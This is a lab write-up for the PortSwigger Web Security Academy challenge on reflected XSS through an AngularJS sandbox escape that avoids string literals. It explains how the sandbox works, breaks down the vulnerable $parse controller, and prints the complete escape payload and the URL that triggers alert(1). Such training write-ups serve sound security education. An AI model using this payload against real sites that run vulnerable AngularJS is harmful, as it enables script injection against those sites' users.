Reflected XSS AngularJS sandbox escape without strings
| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Difficulty | Expert |
| Vulnerability | AngularJS Sandbox Escape — No $eval, No Strings |
| Injection Point | URL parameter name evaluated via $parse |
| Goal | Execute alert(1) by escaping the AngularJS sandbox without string literals |
Lab — AngularJS Sandbox Escape: No $eval, No Strings¶
What is the AngularJS Sandbox?¶
Before diving into the exploit, it's worth understanding what the sandbox is and why it exists.
Analogy: Imagine AngularJS as a restaurant kitchen. The {{ }} template expressions are orders you can place as a customer. The sandbox is the waiter who stands at the kitchen door and stops you from walking into the kitchen yourself and touching the stoves, knives, and gas lines. You can order food — but you can't access the dangerous equipment directly.
The sandbox specifically blocks access to:
- window and document (the browser's global objects)
- Function and eval (arbitrary code execution)
- constructor and __proto__ (prototype chain access)
- Any property that could reach outside the Angular scope
So {{1+1}} → 2 works fine. But {{alert(1)}} gets blocked — the sandbox sees alert and stops it.
What the Vulnerable Code Does¶
Searching for teto produces this Angular controller:
angular.module('labApp', []).controller('vulnCtrl', function($scope, $parse) {
$scope.query = {};
var key = 'search';
$scope.query[key] = 'teto';
$scope.value = $parse(key)($scope.query);
});
Breaking this down:
$scope.query— an empty object that holds query parametersvar key = 'search'— the key name comes from the URL parameter name$scope.query[key] = 'teto'— the URL parameter value is stored in the object$parse(key)($scope.query)— this is the vulnerability
$parse takes a string and evaluates it as an Angular expression against a scope object. Here it's evaluating the key name (e.g. search) as an expression against $scope.query. This means whatever we put as the URL parameter name (not value) gets evaluated by Angular's expression parser.
Testing with ?search=teto&kasane=1 adds a second key:
var key = 'kasane';
$scope.query[key] = '1';
$scope.value = $parse(key)($scope.query);
kasane is evaluated as an Angular expression — kasane is just a property lookup, harmless. But we can inject more complex expressions as the key name.
The Sandbox Escape Payload¶
From the PortSwigger XSS cheat sheet, the sandbox escape payload is:
toString().constructor.prototype.charAt=[].join;[1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
In the URL (with = encoded as %3d):
/?search=teto&toString().constructor.prototype.charAt%3d[].join;[1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
Alert fires and the lab is solved :P